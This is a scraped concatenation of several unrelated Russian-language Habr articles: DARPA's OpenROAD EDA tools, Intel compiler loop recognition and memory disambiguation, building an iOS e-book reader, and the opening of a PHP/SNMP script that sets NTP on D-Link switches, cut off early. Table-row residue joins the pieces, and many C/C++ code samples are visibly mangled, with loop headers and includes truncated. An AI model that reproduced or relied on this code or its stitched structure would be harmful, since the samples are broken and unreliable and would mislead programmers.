По [данным](https://www.pwc.com/gx/en/industries/tmt/publications/assets/pwc-semiconductor-report-2019.pdf) PWC, рынок полупроводниковых технологий растет — в прошлом году он достиг планки в 481 млрд долларов. Но темпы его роста в последнее время [снизились](https://www.marketwatch.com/story/the-chip-slowdown-is-real-but-how-bad-will-it-be-2018-11-15). Среди причин спада — запутанность процессов проектирования устройств и недостаток автоматизации.
Еще несколько лет назад инженеры из Intel [писали](https://www.researchgate.net/publication/3224645_EDA_challenges_facing_future_microprocessor_design), что при создании высокопроизводительного микропроцессора приходится использовать 100–150 отдельных программных инструментов ([EDA](https://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%B8%D0%BA%D0%B8)). Ситуация может усугубляться в случае с гетерогенными устройствами, архитектура которых включает несколько различных типов микросхем — ASIC, FPGA, CPU или GPU. В результате возникают ошибки при проектировании, которые задерживают релиз продуктов.
> *Несмотря на большое количество вспомогательных инструментов, часть работы инженеры все равно вынуждены выполнять вручную. Авторы книги «[Advanced Logic Synthesis](https://www.amazon.com/Advanced-Logic-Synthesis-Andr%C3%A9-In%C3%A1cio/dp/3319672940)» говорят, что порой проектировщикам [приходится](https://bit.ly/2M5xX3H) писать скрипты на Skill или Python из двух миллионов строк для формирования библиотек с [ячейками](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5_%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D1%85_%D1%8F%D1%87%D0%B5%D0%B5%D0%BA).
>
>
>
> Также пишутся скрипты для парсинга отчетов, генерируемых EDA-системами. При разработке чипа по 22-нм техпроцессу эти отчеты могут занимать до 30 терабайт.*
Исправить ситуацию и постараться стандартизировать процессы проектирования решили в DARPA. В агентстве тоже [считают](https://www.technologyreview.com/s/611725/darpa-has-an-ambitious-15-billion-plan-to-reinvent-electronics/), что существующие методы создания чипов устарели. Организация [запустила](https://spectrum.ieee.org/tech-talk/computing/hardware/darpas-planning-a-major-remake-of-us-electronics-pay-attention) пятилетнюю программу [OpenROAD](https://theopenroadproject.org/), цель которой — разработать новые инструменты для автоматизации процессов проектирования микросхем.
Что за программа
----------------
В программе участвуют несколько проектов, которые используют машинное обучение и облачные технологии для автоматизации отдельных этапов создания чипов. В рамках инициативы [разрабатываются](https://theopenroadproject.org/wp-content/uploads/2018/12/OpenROAD_Flow_and_Notes_Nov2018-v1p0-1.pdf) (схема 1) более десяти инструментов. Далее мы подробнее расскажем о некоторых из них: Flow Runner, RePlAce, TritonCTS, OpenSTA.
**Flow Runner** — это инструмент для управления библиотеками RTL и GDSII. Последние представляют собой файлы баз данных, являющиеся промышленным стандартом для обмена информацией об интегральных схемах и их топологиях. В основе решения лежит контейнерная технология Docker. Запускать Flow Runner можно как в облачной среде, так и локально. Руководство по установке лежит в официальном репозитории [на GitHub](https://github.com/The-OpenROAD-Project/BROWN-Flow-Runner).
**RePlAce** — облачное решение на базе машинного обучения, которое отвечает за размещение компонентов на микросхеме и автоматизацию трассировки. По [некоторым данным](https://www.researchgate.net/publication/326594547_RePlAce_Advancing_Solution_Quality_and_Routability_Validation_in_Global_Placement), интеллектуальные алгоритмы повышают эффективность инструмента на 2–10% по сравнению с классическими системами. Кроме того, реализация в облаке упрощает масштабирование. Гайд по установке и настройке также лежит [в репозитории](https://github.com/abk-openroad/RePlAce).
**TritonCTS** — утилита для оптимизации подаваемых на чип тактовых импульсов. Помогает маршрутизировать синхросигналы на все части устройства с одинаковыми задержками. Принцип работы построен на базе [H-деревьев](https://en.wikipedia.org/wiki/H_tree). Такой подход [повышает](https://ieeexplore.ieee.org/document/8588311) эффективность распределения сигналов на 30%, по сравнению с традиционными методами. Разработчики говорят, что в перспективе этот показатель можно увеличить до 56%. Исходный код и скрипты TritonCTS есть [на GitHub](https://github.com/abk-openroad/TritonCTS).
**OpenSTA** — движок для статического временного анализа. Он дает разработчику возможность проверить работоспособность чипа еще до его фактической сборки. Пример кода в OpenSTA [выглядит](https://github.com/abk-openroad/OpenSTA/commit/601143cec315b28a37568f141dddaec3a6160a98) вот так.
```
@@ -6,7 +6,7 @@ read_liberty -corner ff example1_fast.lib
read_verilog example1.v
link_design top
set_timing_derate -early 0.9
set_timing_derate -early 1.1
set_timing_derate -late 1.1
create_clock -name clk -period 10 {clk1 clk2 clk3}
set_input_delay -clock clk 0 {in1 in2}
# report all corners
```
Утилита поддерживает netlist-описания кода на Verilog, библиотеки в формате Liberty, SDC-файлы и др.
Преимущества и недостатки
-------------------------
Эксперты из IBM и IEEE [отмечают](https://www.computer.org/csdl/magazine/dt/2014/02/06783760/13rRUygBwak), что облачные технологии и машинное обучение давно пора использовать в производстве микросхем. По их мнению, проект DARPA может стать удачным примером реализации этой задумки и [положит](https://semiengineering.com/multiphysics-challenges-for-eda-tools/) начало изменениям в индустрии.
Также ожидается, что открытая природа OpenROAD позволит сформировать вокруг инструментов мощное комьюнити и привлечет новые стартапы.
*Фото — [Pexels](https://www.pexels.com/photo/green-ram-card-collection-825262/) — CC BY*
Уже есть участники — лаборатория, занимающихся разработкой чипов на базе Мичиганского университета, [станет первой](http://eecs.umich.edu/eecs/about/articles/2018/darpa-eri-sylvester.html), кто протестирует открытые инструменты OpenROAD. Но пока неизвестно, сумеют ли новые решения оказать заметный эффект на стоимость конечных продуктов.
В целом ожидается, что инструменты, разрабатываемые под руководством DARPA, окажут положительное влияние на индустрию процессоров, и в этой сфере начнет появляться все больше новых проектов. Примером может быть инструмент [gEDA](http://www.geda-project.org/) — он позволяет проектировать чипы с неограниченным числом компонентов. gEDA включает в себя утилиты для редактирования и моделирования микросхем и трассировки плат. Решение разрабатывали для UNIX-платформ, но ряд его компонентов работает и под Windows. Руководство по работе с ними можно найти [в документации на сайте проекта](http://wiki.geda-project.org/geda:documentation).
Свободно распространяемые инструменты предоставляют независимым организациям и стартапам больше возможностей. Есть вероятность, что со временем новые подходы OpenROAD к разработке EDA-инструментов и созданию микросхем могут стать отраслевым стандартом.
---
О чем мы пишем в нашем корпоративном блоге:
* [Unboxing: блейд-сервер Cisco UCS B480 M5](https://blog.itglobal.com/zhelezo/unboxing-blejd-servera-cisco-ucs-b480-m5/)
* [Unboxing: all-flash СХД NetApp AFF A300 — взгляд изнутри](https://blog.itglobal.com/zhelezo/unboxing-all-flash-sxd-netapp-aff-a300-texnicheskie-xarakteristiki-i-vzglyad-iznutri/)
* [Сервера высокой плотности: разбор решений](https://blog.itglobal.com/zhelezo/chto-my-znaem-o-serverax-vysokoj-plotnosti/)
* [Cisco UCS — unboxing](https://blog.itglobal.com/zhelezo/cisco-ucs-unboxing/) | https://habr.com/ru/post/453200/ | null | ru | null |
# Презумпция виновности программиста или почему компилятор иногда «тупит»
Этот пост снова посвящается цикловым оптимизациям. Почему вообще речь зашла о цикловых перестановочных оптимизациях? Дело в том, что это одна из самых эффективных частей оптимизирующего компилятора. В число цикловых перестановочных оптимизаций входит как автовекторизация так и автопараллелизация. У этих оптимизаций существует своя специфика, но в целом у всех цикловых оптимизаций общие проблемы и общие методы их решения.
Часто приходится слышать мнение, что компилятор во многих случаях «тупит». Мне хочется здесь побыть адвокатом компилятора, чтобы показать, что жизнь компилятора не так уж легка, возможно вызвать легкую долю сочувствия к его нелегкой доле и показать, какие существуют объективные трудности при обработке программы и почему во многих случаях компилятор совершенно обоснованно не может сделать ту или иную оптимизацию, которая кажется очевидной программисту. Ну и заодно я хочу продемонстрировать некоторые возможности помочь компилятору в его работе. Понятно, что иногда существуют и субъективные факторы, в лице разработчиков, которые по како-либо причине не реализовали ту или иную функциональность внутри компилятора.
Я буду использовать компилятор Intel для Windows, но думаю схожие проблемы вызывают головную боль у пользователей и разработчиков всех оптимизирующих компиляторов с цикловыми оптимизациями, поэтому надеюсь этот пост будет полезен для всех программистов. Я предполагаю, что у читателя есть какие-то базовые представления о межпроцедурном анализе, поэтому я буду ссылаться на возможности этого анализа без детального объяснения, что это такое и как работает.
[В предыдущем посте](http://habrahabr.ru/company/intel/blog/161155/) я предложил посмотреть на изменение производительности синтетического теста, вызванной применением высокоуравневой цикловой оптимизации разбиения цикла (loop distribution). Одной из основных целей примера было показать, как перестановка порядка операций может повлиять на работу подсистемы памяти и сколько различных факторов производительности могут быть изменены при этом. Т.е. оценка выгодности оптимизации довольно сложная работа, которая часто затрудняется отсутствием точной информации о структуре обрабатываемых данных.
И это еще не все трудности, которые стоят перед компилятором. Перед тем как оценивать возможные выгоды от той или иной трансформации нужно потратить определенные усилия, чтобы распознать сами циклы и доказать саму возможность применения перестановочной оптимизации. В основном этот пост посвящен проблеме распознавания циклов и разрешения неоднозначности при работе с памятью.
#### Распознавание циклов
Для выполнения цикловых перестановочных оптимизаций компилятор должен сначала распознать и классифицировать циклы. Основные цикловые оптимизации применимы только к циклам с определенным количеством итераций, имеющих последовательно изменяющиеся итерационные переменные (и как следствие не имеющие переходов за пределы цикла и вызовов неизвестных функций). Рассмотрим, например, набор простых циклов, раcположеных в некой функции foo:
```
extern int unknown();
int gn,gi;
typedef struct vector {
float *array;
int lbound;
int ubound;
} vec;
int foo(int n, float *a, vec *v) {
int i,j;
int b[100];
// 1 loop
for(i=0;in)
goto exit;
b[i] = 100;
}
// 9 loop
for(i=v->lbound;iubound;i++) {
v->array[i]=i;
}
exit:
return b[10];
}
```
Распознал ли компилятор эти циклы и существует ли способ понять это? Явного способа я не знаю, (кроме использования внутренних дампов для разработчиков), но есть интересный косвенный способ, связанный с выдачей рапорта о работе автовекторизатора с помощью ключа /Qvec-report2. Ключ /Qvec\_report используется так:
/Qvec-report[n]
control amount of vectorizer diagnostic information
n=0 no diagnostic information
n=1 indicate vectorized loops (DEFAULT when enabled)
n=2 indicate vectorized/non-vectorized loops
n=3 indicate vectorized/non-vectorized loops and prohibiting
data dependence information
…
Если скомпилировать приведенный файл с опциями по умолчанию и ключом /Qvec\_report2, то компилятор выдаст следующую информацию:
icl -Qvec\_report2 test\_loops.c
..\test\_loops.c(34): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(41): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(45): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(53): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(16): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(20): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(24): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(28): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
..\test\_loops.c(60): (col. 1) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
Фраза nonstandard loop и означает, что цикл имеет неподходящую структуру для выполнения цикловых оптимизаций. В чем причина того, что компилятор не смог распознать и классифицировать циклы?
1 цикл: В условии выхода из цикла используется глобальная переменная «gn». На каждой итерации происходит модификация памяти, через указатель «a». Теоретически этот указатель может ссылаться на «gn» и условие выхода из цикла может изменяться на каждой итерации.
2 цикл: Та же ситуация связана с использованием глобальной переменной «gi» в качестве итерационной переменной цикла. Итерационная переменная может быть изменена на какой-либо итерации через указатель «a».
3 цикл: Итерационная переменная изменяется нелинейно.
4 цикл: Вызов внутри цикла неизвестной функции. Такой вызов может содержать, например, выход из программы.
5 цикл: Существует несколько условий при которых выполнение цикла может быть прервано. Т.е. количество итераций такого цикла не может быть определено во время компиляции.
6 цикл: Компилятор не смог разобрать сложное условие выхода из цикла. Использование глобала «gn» не является здесь препятствием, поскольку в цикле идет работа с локальным массивом «b» и эта переменная не может быть изменена в процессе работы.
7 цикл: Условный переход внутри цикла мешает определить количество итераций. Переход не зависит от итерационной переменной, и здесь компилятор мог бы вынести условный переход из цикла. Но видимо для этого нужно сначала распознать цикл.
8 цикл: Использование goto с переходом во вне цикла делает неопределенным количество итераций такого цикла. Хотя такой переход не может случится, но эта проблема тоже должна была быть решена ДО фазы распознавания циклов.
9 цикл: Очень типичный случай. Поле array теоретически может ссылаться на поля lbound или ubound. Это одна из причин, почему существуют проблемы с обработкой различных контейнеров из STL библиотеки, таких как vector.
Большинство вышеперечисленных затруднений при классификации циклов связаны с проблемой разрешения неоднозначности при работе с памятью (memory disambiguation). Для разрешения этой проблемы компилятор использует как положения стандартов языков программирования так и результаты межпроцедурного анализа. Поскольку в моем примере межпроцедурный анализ не используется в полной мере (по умолчанию в Intel компиляторе используется –Qip, т.е. анализ только функций из компилируемого исходного файла), то компилятору приходится, в основном, использовать только правила стандартов языка С и С++, которые предоставляют программистам широкие возможности для организации различных объектов, ссылающихся на одну и ту же память.
Можно сформулировать следующие пожелания программистам, желающих добиться лучшего результата при оптимизации своих программ:
1.) Не используйте глобальных переменных и указателей в конструкциях, определяющих поведение цикла. Если необходимо, заведите локальные переменные.
2.) Упрощайте, где это возможно, условие выхода из цикла. Например, в цикле 6 можно было предварительно вычислить наименьшее значение для «n» и «gn» и использовать его в дальнейшем в условии выхода.
3.) Избегайте условных переходов за пределы цикла.
4.) Используйте опцию –Qansi\_alias, если в своих программах вы не нарушаете правил ANSI aliasing. Эти правила устанавливают, что указатели несовместимых типов никогда не могут ссылаться на одну и ту же память. Т.е. поставив эту опцию при компиляции вы даете компилятору возможность использовать информацию о типах для разрешения неоднозначности при работе с памятью. В этом случае вы даете знать компилятору, что в вашей программе указатели ссылаются только на объекты своего или совместимого типов.
5.) Достаточно часто проблемой являются аргументы указатели, передаваемые внутрь функции. Стандарт C99 ввел новый квалификатор типа restrict для указателей. restrict-квалификация указателей означает, что данные, на которые указывают такие указатели не указывают на пересекающиеся объекты. В приведенном примере описание функции foo с использованием этого классификатора имело бы вид: int foo(int n, float \* restrict a, vec \* restrict v). Для использования этой функциональности нужно добавить при компиляции опцию –Qstd=c99.
6.) При организации вашего проекта располагайте совместно используемые функции в одном исходном файле и пользуйтесь аттрибутом static, чтобы ограничить область видимости объектов и функций этим исходным файлом. Это улучшает возможности эффективного межпроцедурного анализа с опцией –Qip. Забегая вперед хочется заметить, что полный межпроцедурный анализ -Qipo очень полезен, но значительно увеличивает необходимые для компиляции ресурсы и время компиляции. Поэтому при грамотной организации проекта опция –Qip может быть очень полезной альтернативой, обеспечивая при этом сравнимую с -Qipo производительность.
7.) Используйте опцию для включения межпроцедурного анализа и оптимизаций (-Qipo ). Эта опция позволяет, например, определить, брался ли адрес у переменной. Если удается установить, что адрес переменной никогда не брался, то это значительно упрощает устранение неоднозначности. Помимо этого межпроцедурный анализ включает сбор информации об объектах, на которые ссылаются указатели (local and global [points-to analysis](http://en.wikipedia.org/wiki/Pointer_analysis) ) и о свойствах функций. Подстановка тела функции (inlining) может привести к тому, что цикл с вызовом функции становиться «хорошим» и может быть оптимизированным. Все это отчасти верно и для –Qip.
Ну и чтобы не обидеть поклонников C++ небольшой синтетический тест на C++.
```
#include
class Array {
public:
Array(int n);
~Array() { free(Objects);};
void initArray(int x);
int nobjects;
int \*Objects;
};
Array::Array(int n) {
nobjects = n;
Objects = (int\*) malloc(nobjects\*sizeof(int));
}
void Array::initArray(int x) {
for(int i=0;i
```
Меня интересует вопрос, распознается ли цикл внутри initArray.
Без опции –Qansi\_alias здесь вообще все плохо, поскольку появляется скрытый аргумент указатель this, который с точки зрения наученного горькой жизнью компилятора, может указывать на все что угодно. –Qansi\_alias решает эту проблему и с этой опцией члены класса уже не могут алиаситься с this. Но даже наличие опции –Qansi\_alias не помогает компилятору распознать цикл.
icl -Qvec\_report2 -Qansi\_alias test\_loops.cpp -c
test\_loops.cpp(18): (col. 2) remark: loop was not vectorized: nonstandard loop is not a vectorization candidate.
Компилятор опасается здесь, что при записи в Objects может быть изменена переменная nobjects. В результате цикл не распознается. Опция –Qansi\_alias не помогает, поскольку указатель Objects и nobjects имеют один и тот-же тип. В случае, если бы этот файл был частью проекта и мы собирали бы проект с опцией –Qipo компилятор бы распознал и векторизовал данный цикл, если бы доказал, что эти объекты не могут пересекаться по памяти.
Здесь следует заострить внимание на том факте, что если вы используете в условии выхода из цикла члена класса типа nobjects, то компилятор видит this->nobjects. Замена этого объекта на локальную переменную перед циклом позволит упростить распознавание цикла.
```
void Array::initArray(int x) {
int n=nobjects;
for(int i=0;i
```
Интересно, что если объявить nobjects приватной переменной класса, то и в этом случае цикл векторизуется. Это заслуга межпроцедурного анализа (-Qip) выполненого для одного файла.
Таким образом можно сформировать рекомендацию:
6a) Используйте аттрибут private для членов класса, если это возможно, чтобы ограничить их область видимости. Т.е. это хорошая рекомендация с точки зрения написания модульного кода, но и для оптимизаций этот принцип так-же приносит определенную пользу.
Хочется еще заметить, что в случае гнезда циклов, нераспознанный внутренний цикл автоматически ведет к отбраковке всех внешних к нему циклов. Цикловых операций над гнездом циклов немного, например перестановка циклов (loop interchange). Тем не менее выявление гнезда циклов может быть очень полезно для производительности.
#### Критерий допустимости перестановочных оптимизаций
Итак, основная идея цикловых оптимизаций состоит в изменении порядка выполняемой работы. После того как циклы были распознали и классифицированы и начинается настоящая работа. Необходимо определить условия, при которых можно делать цикловые перестановочные оптимизации и при этом получать «эквивалентную программу» или эквивалентные вычисления. С точки зрения непредвзятого пользователя, программы будут эквивалентными, если при одинаковых входных данных они будут получать одинаковые результаты и результаты будут выводится в одинаковом порядке. Если задуматься о том, в каком случае при изменении порядка вычислений итоговый результат будет оставаться неизменным, то легко воспроизвести критерий эквивалентности вычислений. Результаты будут одинаковыми, если зависимые друг от друга утверждения будут выполняться в одинаковом порядке в первоначальном и модифицированном вычислениях. Т.е. независимые друг от друга инструкции можно переставлять как угодно, а вот порядок зависимых вычислений необходимо сохранить. И здесь появляется такое ключевое для оптимизирующего компилятора понятие, как зависимость.
Бывают [зависимости по данным и по графу управления](http://en.wikipedia.org/wiki/Data_dependency).
Если хочется применить некую цикловую оптимизацию, то для доказательства ее корректности необходимо будет убедиться, что порядок зависимостей в начальном и производном цикле будет одинаковым. Существует достаточно сложная методология для обнаружения зависимостей при использовании в цикле (или гнезде циклов) массива A, индексированного счетчиками итераций (итерационными переменными цикла). Компилятор пытается определить, существует ли обращение и запись в одну и ту же память на разных итерациях. Наилучшим вариантом для многих цикловых оптимизаций является отсутствие в цикле зависимостей. (Есть перестановочные оптимизации, которые используют зависимости при своей работе.) Для определения зависимостей компилятор использует довольно сложные методы, но вся эта сложная функциональность не будет нужна, если предварительно не будет решена проблема неоднозначности при работе с памятью. В этом случае появляются совершенно неожиданные зависимости, которые могут помешать выгодным оптимизациям.
Опять возьмем маленький пример и посмотрим как зависимости мешают векторизации, а так-же другим оптимизациям. В данном случае приняты все меры, чтобы не было возможности использования одной памяти различными объектами.
```
void foo(float * restrict a, float * restrict b, int n, int offset) {
int i,j;
for(i=0;i
```
icl -Qstd=c99 -Qvec\_report3 test\_loops.c -c
est\_loops.c(4): (col. 1) remark: loop was not vectorized: existence of vector dependence.
..\test\_loops.c(6): (col. 4) remark: vector dependence: assumed ANTI dependence between b line 6 and b line 6.
..\test\_loops.c(6): (col. 4) remark: vector dependence: assumed FLOW dependence between b line 6 and b line 6.
..\test\_loops.c(6): (col. 4) remark: vector dependence: assumed FLOW dependence between b line 6 and b line 6.
..\test\_loops.c(6): (col. 4) remark: vector dependence: assumed ANTI dependence between b line 6 and b line 6.
..\test\_loops.c(5): (col. 4) remark: vector dependence: assumed ANTI dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 4) remark: vector dependence: assumed FLOW dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 4) remark: vector dependence: assumed FLOW dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 4) remark: vector dependence: assumed ANTI dependence between a line 5 and a line 5.
Проблема здесь в том, что осуществляя сдвиг вектора компилятор не знает как соотносятся переменные «n» и «offset». Для того, чтобы помочь компилятору оптимизировать эти циклы можно использовать прагмы:
8) Используйте #pragma ivdep перед циклом если в соответствии с вашими знаниями о цикле в нем не может быть зависимости. Использование прагмы так-же может помочь в распознавании цикла.
Еще одним широко известным случаем, с которым у компилятора нет шансов разобраться с зависимостями является случай использования векторной индексации, например такой:
```
void foo(int n, float * restrict a, float * restrict b, int * restrict ind) {
int i;
for(i=0;i
```
icl -Qstd=c99 -Qvec\_report2 test\_loops.c -c
..\test\_loops.c(4): (col. 1) remark: loop was not vectorized: existence of vector dependence.
..\test\_loops.c(5): (col. 3) remark: vector dependence: assumed ANTI dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 3) remark: vector dependence: assumed FLOW dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 3) remark: vector dependence: assumed FLOW dependence between a line 5 and a line 5.
..\test\_loops.c(5): (col. 3) remark: vector dependence: assumed ANTI dependence between a line 5 and a line 5.
Массив ind может содержать дублирующиеся значения и тогда действительно будут существовать цикловые зависимости, препятствующие различным оптимизациям. В данном случае #pragma ivdep так-же помогает компилятору.
Вообщем, различных подобных случаев можно придумать много, но надеюсь, что в целом моя мысль понятна.
#### Заключение:
Этот текст был написан для того, чтобы показать, что работа оптимизирующего компилятора во многих случаях определяется необходимостью обеспечивать консервативный характер применения оптимизаций. Т.е. оптимизация может быть применена только тогда, когда есть возможность доказать ее корректность.
Консервативный характер анализа должен подразумевать презумпцию виновности программиста в желании запутать и обмануть компилятор. Можно идти навстречу компилятору и отказываться от некоторых сильно общих возможностей языков программирования. Также языками предусмотрены различные программные инструменты для предоставления компилятору дополнительной информации.
Буду рад, если кто-нибудь поделится опытом по данной теме. | https://habr.com/ru/post/162831/ | null | ru | null |
# Алгоритм Ляна-Кнута в реальном проекте, или как я делал читалку для iOS
Всем привет! В этот раз я хочу рассказать, как я реализовывал альтернативу iBooks. В своем предыдущем посте я писал об [алгоритме расстановки мягких переносов](http://habrahabr.ru/post/138088/) в тексте. Он как раз и пригодился при создании своей читалки, оценить его работу можно наглядно в [приложении](http://itunes.apple.com/app/neobook-katalog-besplatnyh/id517973229). Но помимо этого, при реализации проекта мне пришлось столкнуться с многими другими интересными вещами, такими как парсинг и рендеринг HTML с CSS, реализация элементов управления с кастомным дизайном и т.п. Наш дизайнер [rashapasta](http://habrahabr.ru/users/rashapasta/) очень любит подкинуть мне задачек с эдаким нестандартным интерфейсом, который нужно реализовывать ручками, но обо всем по порядку.
UI (или танцы с бубном)
-----------------------
В плане UI в проекте не самой простой задачей было сделать grid таблицу с горизонтальным пейджингом. Как обычно в поисках готовых решений я полез на [stackoverflow.com](http://stackoverflow.com), но увы, все что перебрал было в той или иной степени непригодным.
Были большие надежды на [AQGridView](https://github.com/AlanQuatermain/AQGridView), но как оказалось, от горизонтального заполнения и пейджинга там только пустые заглушки. Было решено дать ей второй шанс и применить многим знакомый трюк с поворотом таблицы на 90 градусов. Этот вариант поначалу даже показался работающим и более менее приемлемым, но и тут нашлись свои камни.
Баги в самом *AQGridView* и в стандартном *UIScrollView* отбили мне желание использовать этот компонент. В некоторых ситуациях grid постоянно ломался: некоторые ячейки выпадали и постоянно слетал порядок. Чтобы развеять сомнения в своей криворукости, я попробовал воспроизвести проблему на демке из комплекта – баг подтвердился.
Что касается *UIScrollView* и его производных — тут я тоже сначала грешил на *AQGridView*, но когда стал использовать *UITableView*, проблема повторилась. Суть бага в том, что при повернутом через трансформацию *UIScrollView* отваливался bounce эффект, что было очень некрасиво и неестественно для iOS.
Опытным путем выяснилось, что виноват ресайз и перемещение *UIScrollView* при поворотах девайса, который делался руками через обработчик *layoutSubviews*. Взяв свой шаманский бубен, я выяснил, что все ломает позиционирование повернутого *UIScrollView* через свойство *center*. Вероятно были еще какие то условия, но было перепробовано столько вариантов, что уже не вспомнить.
Вся эта долгая история закончилась тем, что пришлось извращаться со старым добрым *UITableView*. Bounce я починил, и проблема с поворотом решилась. Ячейку таблицы сделал размером в страницу и состоит она из нескольких под-ячеек, каждая из которых реализована в виде экземпляра отдельного класса. Получилось вот так:
[](http://habrastorage.org/storage2/e42/f00/fd4/e42f00fd415d0490aae5b68dd6b4404d.png)
Работа с HTML и алгоритм Ляна-Кнута.
------------------------------------
С парсингом популярных форматов электронных книг и рендерингом отдельная история. С HTML в принципе не сложно, *libxml* отлично справился. Файл HTML обрабатывается рекурсивно, разбивается на блоки текста, каждому блоку выставляются соответствующие аттрибуты. Остается загнать все это во framesetter из *CoreText* и готово. Но не тут то было! Надо сделать переносы и выравнивание по ширине. Пришлось спускаться уровнем ниже и использовать не framesetter, а typesetter. С помощью него можно удобно резать текст на строки, например функцией
```
CFIndex CTTypesetterSuggestClusterBreak( CTTypesetterRef typesetter, CFIndex startIndex, double width);
```
В процессе разбиения на строки нужно определять место разрыва. Если разрыв возникает в середине какого-либо слова, то нужно правильно поставить перенос. Вот тут и приходит на помощь реализация указанного выше [алгоритма Ляна-Кнута](http://habrahabr.ru/post/138088/).
Рендер (или не заставляйте пользователя ждать!)
-----------------------------------------------
Осталось всего ничего — порезать полученную гору строчек текста на страницы и можно рендерить. Опытным путем выяснилось, что вся эта связка операций по обработке текста перед рендером занимает целую кучу времени. Из профайлера я понял, что виной всему расстановка переносов. Загнал расчет книги в фоновый режим и в отдельный потоке – стало работать шустрее.
Единственный минус — пока идет рендер, нельзя использовать слайдер перемотки. При необходимости перехода на главу, которая еще не обработана, ставим ее первой в очереди обработки, чтобы максимально быстро ее отобразить на экране.
В итоге получилось вроде неплохо, и на iPad книги обрабатываются довольно быстро (учитывая, что это рендер на лету).
Вот как выглядят отрисованные страницы в разных ориентациях экрана:
[](http://habrastorage.org/storage2/019/3a2/a40/0193a2a407ef5bec0c31b74dad3130b1.png) [](http://habrastorage.org/storage2/fe1/abf/990/fe1abf990cf5d96166e59643c9ad0e7a.png)
Для работы по HTTP был как обычно заюзан [AFNetworking](https://github.com/AFNetworking/AFNetworking), очень рекомендую. Правда было одно «но», при анализе приложения на утечки памяти обнаружилась проблема с отображением прогресса загрузки файлов, связанная с циклическими ссылками. В методе *setDownloadProgressBlock* был блок вроде этого:
```
if ([self.progressDelegate respondsToSelector:@selector(fileDownloadRequest:progressBytes:withTotalBytes:)])
{
[self.progressDelegate fileDownloadRequest:self progressBytes:alreadyDownloadedBytes+totalBytesRead withTotalBytes:alreadyDownloadedBytes+totalBytesExpectedToRead];
}
```
Наличие self в коде блока и вызывало циклическую зависимость. Решается это путем создания отдельной локальной переменной, в которую копируется указатель на делегат, и уже эта переменная используется в блоке. Стало вот так:
```
id progress = self.progressDelegate;
[self.request setDownloadProgressBlock:^(NSInteger bytesRead, NSInteger totalBytesRead, NSInteger totalBytesExpectedToRead) {
if ([progress respondsToSelector:@selector(fileDownloadRequest:progressBytes:withTotalBytes:)])
{
[progress fileDownloadRequest:self progressBytes:alreadyDownloadedBytes+totalBytesRead withTotalBytes:alreadyDownloadedBytes+totalBytesExpectedToRead];
}
}];
```
В дальнейшем, по мере наличия свободного времени, я продолжу описывать свой опыт разработки под iOS, а пока приглашаю обсудить результат моих трудов в комментах. | https://habr.com/ru/post/144942/ | null | ru | null |
# Настройка времени на коммутаторах по SNMP
Как все мы читали в новостях. с летним/зимним временем ожидается полный бардак.
Имея базу коммутаторов в количестве несколько тысяч, ручками не чень то и поменяешь им конфиги.
Потому был придумал вот такой велосипед.
Кстати, данный ввелосипед подходит не болько для настройки времени, но и для чего угодно, что настраивается через SNMP
Итак.
Имеем:
1. несколько тысяч коммутаторов (У меня dlink) примерно одно серии. А именно:
DES-1228/ME
DES-3200
DES-3526
DES-3010G
Данные коммутаторы имеют одинаковые oid для настройки времени, потому и программировать мы их будем пачками по 253 штуки за раз.
Подсети:
Неважно. пусть будет: 172.16.0.0/24
Подсеть размера /24 отрабатывалась в течении 5 минут, а так как наш скрипт будет на .php надо перенастроить сервер, чтоб он не дропал скрипт через 30 секунд или уменьшить размер отрабатываемой за раз подсети.
итак, наш конфиг (config.php):
```
$startip = "172.16.0.2";
$endip = "172.16.0.254";
$ntp1 = "172.16.0.1";
$ntp2 = "172.16.0.1";
$gmt = "540";
$interval = "86400";
$community = "private";
$dissummertime = ".1.3.6.1.4.1.171.12.10.12.1.0"; //i
$enantp = ".1.3.6.1.4.1.171.12.10.11.1.0"; //i
$ntpupdateoid = ".1.3.6.1.4.1.171.12.10.11.5.0"; //i
$ntp1oid = ".1.3.6.1.4.1.171.12.10.11.3.0"; //a
$ntp2oid = ".1.3.6.1.4.1.171.12.10.11.4.0"; //a
$gmtoid = ".1.3.6.1.4.1.171.12.10.10.4.0"; //i
$saveconfig = "";
?>
```
РАзберемся по пунктам:
$startip — НАчало нашего IP диапазона коммутаторов;
$endip — Последний коммутатор в диапазоне;
$ntp1 — Сервер синхронизации времени в вашей сети, доступный коммутаторам;
$ntp2 — Второй сервер синхронизации времени в вашей сети, доступный коммутаторам;
$gmt — Сдвиг часового пояса, у меня это +9, а значит я вписал 9\*60=540;
$interval — Период, через который коммутаторы будут обновлять свое время. Дефолтное значение 720, я поставил раз в сутки: 60\*60\*24=86400;
$community — пароль коммунити с правами записи.
Теперь сам скрипт (ntp.php):
```
.
// Подгружаем конфиг
include_once('config.php');
